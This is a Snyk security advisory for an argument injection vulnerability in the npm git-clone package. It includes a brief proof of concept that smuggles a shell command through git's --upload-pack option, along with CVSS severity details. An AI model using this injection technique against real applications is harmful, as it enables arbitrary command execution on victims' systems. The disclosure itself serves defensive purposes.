Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Affecting git-clone package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.5% (77th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-GITCLONE-2434308
  • published 28 Jun 2022
  • disclosed 28 Mar 2022
  • credit Liran Tal

How to fix?

There is no fixed version for git-clone.

Overview

git-clone is a Clone a git repository

Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to insecure usage of the --upload-pack feature of git.

Note: A note was added to the README file of the package to only use the args option with static/trusted input!

PoC:

const clone = require('git-clone')
const repo = 'file:///tmp/zero12345'
const path = '/tmp/example-new-repo'
const options = {
    args: [
    '--upload-pack=touch /tmp/pwn2'
]}
clone(repo, path, options)

Observe a new file created: /tmp/pwn2

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical